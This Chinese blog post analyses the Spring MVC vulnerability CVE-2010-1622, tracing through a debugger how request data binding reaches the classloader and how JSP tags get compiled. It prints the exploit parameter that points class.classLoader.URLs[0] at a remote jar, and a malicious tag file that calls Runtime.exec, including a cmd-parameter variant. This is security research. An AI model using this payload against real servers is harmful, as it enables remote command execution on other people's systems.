这是大概两年前刚学习spring源码的时候写的一篇文章。一直没发出来,最近有点时间,整理下发在了博客上。by dingo
一、简介
Cve-2010-1622是spring框架在2010年被发现的一个漏洞(我知道很古老),该漏洞可以让攻击者通过url等方式注入自己的代码,并在服务端执行。如果服务器权限设置不当,甚至可以让攻击者执行自定义的任意代码。
二、准备
分析了这个漏洞的原理,我们基本就可以窥视出spring框架,尤其是springmvc的一些实现过程。鉴于国内对这个漏洞的讨论还比较少,个人觉得分析一下还是有一些意义的。
预备知识:
要分析该漏洞,需要有一些java,spring的基础知识。(当然不需要太多,☺)。除了对spring和java的简单了解外,我们需要首先了解一下spring中利用java反射原理对bean的操作方式。
a) BeanWrapperImpl的作用
我们都知道,Spring里面有一个很重要的概念就是容器,容器里面存放的是用户或者系统本身创建的bean对象。Spring通过容器创建和管理这些bean对象,并把他们注入到需要使用这些对象的方法或者类中。
在spring中org.springframework.beans.BeanWrapperImpl这个类发挥了很大的作用,它直接或间接实现了两个接口,BeanWrapper和PropertyAccessor。第一个接口定义了持有bean的方法,第二个接口定义了获取和修改bean的属性的方法。所以BeanWrapperImpl的功能就是具体实现了创建,持有以及修改bean的方法。
其中我们先重点提一下BeanWrapperImpl中的setPropertyValue方法。通过多种不同参数的setPropertyValue的方法,可以将简单类型的参数值或者复杂类型的参数值,比如array,list,map等,注入到指定bean的相关属性中。
b) 准备环境的搭建
准备环境很简单,我们简单搭了一个spring-mvc的环境。其中包括:
i. 一个简单的基于注释的controller:
@Controller public class TestController { @RequestMapping("/test.htm") public String execute(User user){ return "success"; } }
ii. 一个简单pojo,User类
public class User { private String name; getter and setters …… }
iii. Success.jsp 模板
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%> <form:form commandName="user"> <form:input path="name"/> </form:form>
三、分析
接下来具体来调试漏洞
我们在spring的总入口DispatcherServlet.java的doDispatch方法出加上断点,
在启动测试环境之后,我们向测试环境的8080端口提交如下的get请求。
请记住这个参数,
后面会不停地提到。
1、spring中的代码分析
Spring通过调用总入口DispatcherServlet.java的doDispath方法来路由处理本次的http请求。通过源码,我们可以看到doDispatch的两个参数分别为HttpServletRequest request, HttpServletResponse response,也就是当前请求的request和response对象。这是由tomcat容器传递给spring的。
我们先来总体预览一下doDispatch对于本次http请求的执行过程。其实主要就是有3步。
a) 通过传入的Rquest,获取响应处理的controller
b) 传入get参数,执行controller的方法
c) 获取controller中相关方法的返回值,渲染模版对象,返回response
接下来,按照这个大纲,我们来看spring是怎么做的。
1.1 获取响应处理的controller
在springmvc中,一个controller常常对应着一个url路径,controller往往也是我们分析程序的入口处。但我们知道,spring不仅仅自己实现了springmvc框架,它与其他的mvc框架,比如stucts等都可以做到很好的结合。但是stucts中不是controller,而是action。所以Spring为了达到很好的扩展性,自定义了一种类型,handler,handler可以是任意框架的执行类,对于spring就是controller,对于stucts就是action.
为了正确解析本次http请求,我们首先需要找到处理这次请求的handler,也就是springmvc中的对应的controller,对应到本次的测试例子,应该就是com.dingo.controller.TestController.
我们来看doDispatch的源码:
processedRequest = checkMultipart(request); //检查是不是上传类型等 mappedHandler = getHandler(processedRequest, false); //通过传入的request从容器中找到相应的handler
getHandler通过传入的request对象获取了响应的处理handler,也就是我们的TestController,并且包装了其他一些interceptor,使之构成了一个内部对象——mappedHandler。(如图)
下面就是具体对获取的handle对象进行处理了。框架在处理http请求的时候不是使用的handle类,而肯定是使用的handler中的某个方法。对于各种不同handle中的方法,Spring都是通过HandlerAdapter的handle方法,进行统一调用,然后返回我们熟悉的spring的ModelAndView对象。
代码如下:
ModelAndView mv = null; HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
当ModelAndView对象返回之后,再调用:render(mv, processedRequest, response)
从而真正将模版渲染。这行代码也就是我们触发shellcode的地方。
以上就是doDispatch中的大体逻辑,我们从中看到了框架是如何找到相应的handle,以及如何触发提交的shellcode.但是还有很多具体细节我们并不清楚,比如class.classLoader.Url[0]是如何被绑定到tomcat中对于的classloader中的呢,比如spring在渲染的时候又是在哪执行的命令代码的呢。
接下来我们可以分两部分来分别分析,分别是:
1) handle如何执行controller定义的方法的。这其中包含的关键点是数据如何绑定,也就是我们的jar:http://localhost:8080/springmvc/dingo.jar!/如何成功进入到我们期望进入的classloader对象中的。具体要分析的代码就是mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
2) spring是如何解析我们传入的jar文件中的tag代码,进而执行其中的java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));方法。
1.2 执行controller中的方法
F5进入ha.handle方法。发现经过一系列checkandparper之后,返回的是invokeHandlerMethod(request, response, handler);这个方法的返回值。
进一步跟进代码,最终发现,执行任务的是ServletHandlerMethodResolver对象,它首先调用handle中的方法,返回一个我们不知道是什么的Object值,然后调用getModelAndView获取ModelAndView。代码如下:
Object result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel); ModelAndView mav = methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);
带着疑问,我们来探索Object result,到底是一个什么样的值,他的作用是什么。F5进入invokeHandlerMethod方法实体,看看methodInvoker是如何通过java的反射执行controller的代码的。
代码如下:
Object[] args = resolveHandlerArguments(handlerMethodToInvoke, handler, webRequest, implicitModel); return doInvokeMethod(handlerMethodToInvoke, handler, args);
resolvEHandlerArguments这个方法从字面上就可以推断出其作用是用来解析出controller方法的参数的。我们在TestController中execute传递的参数应该是User对象,通过查看eclipse中的变量提示,这边的返回值args证明了我们的猜测。
解析完参数之后进一步就是调用解析结果开始执行具体方法,我们进入doInvokeMethod(handlerMethodToInvoke, handler, args)这个方法实体查看。
private Object doInvokeMethod(Method method, Object target, Object[] args) throws Exception { ReflectionUtils.makeAccessible(method); try { return method.invoke(target, args); } catch (InvocationTargetException ex) { ReflectionUtils.rethrowException(ex.getTargetException()); } throw new IllegalStateException("Should never get here"); }
可以看到,最终spring调用的是java.lang.reflect.Method类的invoke方法,他的两个参数,target是TestController中的execute方法,args也就是刚刚解析出来的user对象。
现在我们知道刚刚那个不太清楚的Object代表什么内容了,它代表的就是:Execute方法执行后的返回值 “success”!
检查一下,完全正确!(如图)
到这边我们又看完了spring执行controller中的方法的过程,但是关于之前get参数如何注入到相关对象中的方法还是没有解决。我们传递的class.classloader.url[0]这个参数哪去了,你怎么能就这么返回了呢。
一定有什么东西我们忽略了。从头再回顾下我们的逻辑。
我们本来要分析的是:
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
进入方法之后我们发现返回mv对象分为两步:
第一步:
Object result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel);
返回的result对象就是execute方法执行的返回结果,字符串”success”
第二步
真正返回ModelAndView对象:
ModelAndView mav = methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);
刚刚我们只分析了第一步
第一步中:
Object[] args = resolveHandlerArguments (handlerMethodToInvoke, handler, webRequest, implicitModel);
获取了execute的参数值。
第二步里面直接获取了ModelAndView对象,初步判断应该不是注入classloader的地方,所以很有可能在resolveHandlerArguments这个方法里面,spring悄悄将我们在request中传递的参数
class.classLoader.URLs[0]= jar:http://localhost:8080/springmvc/dingo.jar!/给绑定了。
真相只有一个!我们进去看吧。
代码如下:
private Object[] resolveHandlerArguments(Method handlerMethod, Object handler, NativeWebRequest webRequest, ExtendedModelMap implicitModel)throws Exception { Class[] paramTypes = handlerMethod.getParameterTypes(); Object[] args = new Object[paramTypes.length]; for (int i = 0; i < args.length; i++) { ...... if (paramName == null && attrName == null) { Object argValue = resolveCommonArgument(methodParam, webRequest); //获取普通的参数值,我们这边并没有传,所以继续往下走 if (argValue != WebArgumentResolver.UNRESOLVED) { args[i] = argValue; ....... else if (attrName != null) { //关键在这边,自动调用了一个binder去绑定了request里面的参数 WebDataBinder binder = resolveModelAttribute(attrName, methodParam, implicitModel, webRequest, handler); boolean assignBindingResult = (args.length > i + 1 && Errors.class.isAssignableFrom(paramTypes[i + 1])); if (binder.getTarget() != null) { doBind(webRequest, binder, !assignBindingResult); } args[i] = binder.getTarget(); ....... return args; }
其中doBind方法具体实现数据绑定:
protected void doBind(NativeWebRequest webRequest, WebDataBinder binder, boolean failOnErrors)throws Exception { ServletRequestDataBinder servletBinder = (ServletRequestDataBinder) binder; servletBinder.bind((ServletRequest) webRequest.getNativeRequest()); if (failOnErrors) { servletBinder.closeNoCatch(); } }
doBind方法应该就是spring通常的数据绑定方法了吧,继续分析servletBinder.bind,看具体是如何利用反射进一步注入get参数中的数据的。
最终经过层层嵌套的调试,我们找到了applyPropertyValues这个方法:
protected void applyPropertyValues(MutablePropertyValues mpvs) { try { // Bind request parameters onto target object. getPropertyAccessor().setPropertyValues (mpvs, isIgnoreUnknownFields(), isIgnoreInvalidFields()); }
绿色的spring原来的注释也表明了这个方法的作用——Bind request parameters onto target object.
看到setPropertyValues这个方法我们也有一种柳暗花明的亲切感。之前介绍BeanWrapperImpl类的时候,这个方法不正是我们所了解的,用以给bean的属性赋值的方法吗?
跟进之后果然发现走到了BeanWrapperImpl这个spring中我们很熟悉的类。
在之前介绍过的skyzbb的文章中,他对BeanWrapperImpl如何注入bean属性,以及重点介绍的,spring在注入List,Map,Array等对象的时候与注入普通对象有什么不同有了详细的介绍,我这边再简单提一下。我们看setPropertyValue的代码。
由于这个类太长,我对他进行了一些简化,简单看结构:
private void setPropertyValue(PropertyTokenHolder tokens, PropertyValue pv) throws BeansException { ...... if (tokens.keys != null) { // Apply indexes and map keys: fetch value for all keys but the last one. ...... propValue = getPropertyValue(getterTokens); ..... // Set value for last key. String key = tokens.keys[tokens.keys.length - 1]; ...... else if (propValue.getClass().isArray()) { //对array类型的操作 ...... Array.set(propValue, Integer.parseInt(key), convertedValue); ...... } else if (propValue instanceof List) { ...... //对list类型的操作 } else if (propValue instanceof Map) { ...... //对map类型的操作 map.put(convertedMapKey, convertedMapValue); } } else { ...... writeMethod.invoke(this.object, new Object[] {valueToApply}); //调用writeMethod的invoke方法去赋值 } } }
可以看到spring对map,list,array是分开处理的,对于一般的值,直接调用java反射中的writeMethod方法给予赋值。
最初的http请求走到这边,我们就可以看到,最开始提交的class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/
已经赋给了classloader,我们来检查一下。如图:
到此其实我们才分析道之前提到的不知道是什么的Object处,接下来获取ModelAndView的代码的代码相比较来说就简单多了:
ModelAndView mav = methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest); 进入getModelAndView方法: public ModelAndView getModelAndView(Method handlerMethod, Class handlerType, Object returnValue, ExtendedModelMap implicitModel, ServletWebRequest webRequest) { if (returnValue instanceof ModelAndView) { ModelAndView mav = (ModelAndView) returnValue; mav.getModelMap().mergeAttributes(implicitModel); return mav; } else if (returnValue instanceof Model) { return new ModelAndView().addAllObjects(implicitModel).addAllObjects(((Model) returnValue).asMap()); } else if (returnValue instanceof Map) { return new ModelAndView().addAllObjects(implicitModel).addAllObjects((Map) returnValue); } else if (returnValue instanceof View) { return new ModelAndView((View) returnValue).addAllObjects(implicitModel); } else if (returnValue instanceof String) { //我们的测试用例返回的是”success”,所以执行到这边 return new ModelAndView((String) returnValue).addAllObjects(implicitModel); } else if (returnValue == null) { // Either returned null or was 'void' return. if (this.responseArgumentUsed || webRequest.isNotModified()) { return null; } else { // Assuming view name translation... return new ModelAndView().addAllObjects(implicitModel); } } else if (!BeanUtils.isSimpleProperty(returnValue.getClass())) { // Assume a single model attribute... .... }
可以看出,它只是判断了一下返回值,由于我们采用的是返回字符串,然后让spring自动找对应的模版的方法,直接在判断为string类型的时候返回新建的modelAndView对象。
至此,解析spring如何执行controller中方法的过程圆满完成!
1.3获取controller中相关方法的返回值,渲染模版对象,返回response
解析完方法,我们就要进行最后的渲染模版工作了。
再次回到DispatcherServlet,在执行完mv = ha.handle(processedRequest, response, mappedHandler.getHandler());方法后,我们走到了render(mv, processedRequest, response);方法,这个方法进行了渲染操作。
先回过头来看我们的配置文件。
测试用例采用了jsp作为模版文件。当然spring支持的模版文件远远不止jsp一种,velocity,freemarker等都可以当做spring的默认模版去渲染,反正最后能变成html代码给浏览器就行了。
为什么这边我们要使用jsp呢?因为只有jsp才能触发远程代码。(貌似是废话)
Spring解析jsp采用的是内置的InternalResourceViewRwsolver类,这玩意儿叫视图定位器。也就是我们的测试小用例的Spring配置文件里面的
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver" p:prefix="/WEB-INF/jsp/" p:suffix=".jsp" />
看完配置文件里面注入的bean,再接着看render代码。
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception { View view = null; …… view = resolveViewName(mv.getViewName(), mv.getModelInternal(), locale, request); …… view.render(mv.getModelInternal(), request, response); }
render方法实际上是调用了view对象的render方法,此时的view对象,就是刚刚的InternalResourceViewRwsolver类对应的InternalResourceView。
如图:
该view在执行render的时候,回到了InternalResourceViewRwsolver定义的renderMergedOutputModel(mergedModel, request, response);方法。饶了一圈,其实最终就是用InternalResourceViewRwsolver渲染模版的过程罢了。
按照你的想法(或者是我的想法),我们再进入renderMergedOutputModel方法看看里面的实现。我们发现进入了ApplicationDispatcher这个类。这好像是一个容器吧?看看包名org.apache.catalina.core,原来我们已经逃离spring到了tomcat里面了!
在spring里面绕了太久,都快有一种窒息的感觉,我们暂时逃离spring的禁锢,来到jsp的世界里面透透气。
Jsp可能是我们搞安全的在接触java web的时候最先接触的概念和玩意儿了。还记得以前找tomcat的默认后台上传jsp shell直接拿服务器权限的爽快感吗!
作为后面分析的准备内容,我们先来看看jsp的实现部分原理。
Jsp实际上是一种servlet,只不过换了一种语法,并且由容器在后台进行了解析。
对于我们的测试用例来说,tomcat在运行的时候解析了我们的success.jsp文件,生成了一个success_jsp.java类(这个类可以在tomcat运行目录的work文件夹下面找到),运行这个类的输出结果,就是jsp解析之后的结果。
我们的success.jsp的代码为:
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%> <form:form commandName="user"> <form:input path="name"/> </form:form>
生成的success_jsp.java代码就为:
package org.apache.jsp.WEB_002dINF.jsp; public final class success_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005fform_005fform_005fcommandName; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { ...... } public void _jspDestroy() { ...... } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { ...... } private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context) throws Throwable { ...... } private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_form_005fform_005f0, PageContext _jspx_page_context, int[] _jspx_push_body_count_form_005fform_005f0) throws Throwable { ...... } }
}
由于类的内容的比较多,这边我只列出了改类的方法,而没有列实体。从success_jsp.java类我们可以看到比较重要的三点:
1) 该类继承了org.apache.jasper.runtime.HttpJspBase类,该类中定义了由jsp产生的servlet的一些标准。
2) _jspService这个方法是对该jsp类的具体执行,在这个方法里面返回了jsp的输出等
3) 具体到success.jsp中的<spring:form>和<spring:input>标签,对应的java类中分别产生了两个方法,_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0。这两个方法体执行了spring特殊标签应该产生的功能。
我们来重点看一下_jspx_meth_form_005finput_005f0这个方法体,先看一下之前我们提交的exp.jar中的input.tag文件:
<%@ tag dynamic-attributes="dynattrs" %> <% java.lang.Runtime.getRuntime().exec("calc"); %>
再来看一下_jspx_meth_form_005finput_005f0的方法定义:
private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_form_005fform_005f0, PageContext _jspx_page_context, int[] _jspx_push_body_count_form_005fform_005f0) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:input org.apache.jsp.tag.meta.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context); _jspx_th_form_005finput_005f0.setParent(_jspx_th_form_005fform_005f0); // /WEB-INF/jsp/success.jsp(3,0) null _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name")); _jspx_th_form_005finput_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); return false; }
调用了org.apache.jsp.tag.meta.InputTag_tag这个类,然后执行了doTag()这个操作。原来Inputtag.tag这个文件也被编译成了一个java类。在相同路径找到该类之后,我们看其中的代码:
package org.apache.jsp.tag.meta; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; public final class InputTag_tag extends javax.servlet.jsp.tagext.SimpleTagSupport implements org.apache.jasper.runtime.JspSourceDependent, javax.servlet.jsp.tagext.DynamicAttributes { private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; private JspContext jspContext; private java.io.Writer _jspx_sout; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public void setJspContext(JspContext ctx) { super.setJspContext(ctx); java.util.ArrayList _jspx_nested = null; java.util.ArrayList _jspx_at_begin = null; java.util.ArrayList _jspx_at_end = null; this.jspContext = new org.apache.jasper.runtime.JspContextWrapper(ctx, _jspx_nested, _jspx_at_begin, _jspx_at_end, null); } public JspContext getJspContext() { return this.jspContext; } private java.util.HashMap _jspx_dynamic_attrs = new java.util.HashMap(); public void setDynamicAttribute(String uri, String localName, Object value) throws JspException { if (uri == null) _jspx_dynamic_attrs.put(localName, value); } public Object getDependants() { return _jspx_dependants; } private void _jspInit(ServletConfig config) { _el_expressionfactory = _jspxFactory.getJspApplicationContext(config.getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) config.getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void doTag() throws JspException, java.io.IOException { PageContext _jspx_page_context = (PageContext)jspContext; HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest(); HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse(); HttpSession session = _jspx_page_context.getSession(); ServletContext application = _jspx_page_context.getServletContext(); ServletConfig config = _jspx_page_context.getServletConfig(); JspWriter out = jspContext.getOut(); _jspInit(config); jspContext.getELContext().putContext(JspContext.class,jspContext); _jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs); try { out.write('\r'); out.write('\n'); java.lang.Runtime.getRuntime().exec("calc"); out.write('\r'); out.write('\n'); } catch( Throwable t ) { if( t instanceof SkipPageException ) throw (SkipPageException) t; if( t instanceof java.io.IOException ) throw (java.io.IOException) t; if( t instanceof IllegalStateException ) throw (IllegalStateException) t; if( t instanceof JspException ) throw (JspException) t; throw new JspException(t); } finally { jspContext.getELContext().putContext(JspContext.class,super.getJspContext()); ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile(); } } }
重点看doTag中的部分代码:
public void doTag() throws JspException, java.io.IOException { …… try { out.write('\r'); out.write('\n'); java.lang.Runtime.getRuntime().exec("calc"); //
终于,我们找到间谍了,原来这段shellcode偷偷藏在这个类里面!
再回到之前我们从spring刚出来到tomcat的时刻。Tomcat中的renderMergedOutputModel方法执行了spring里面的render方法的具体操作,也就是说renderMergedOutputModel执行了模版里面的解析和其他一些tag的解析。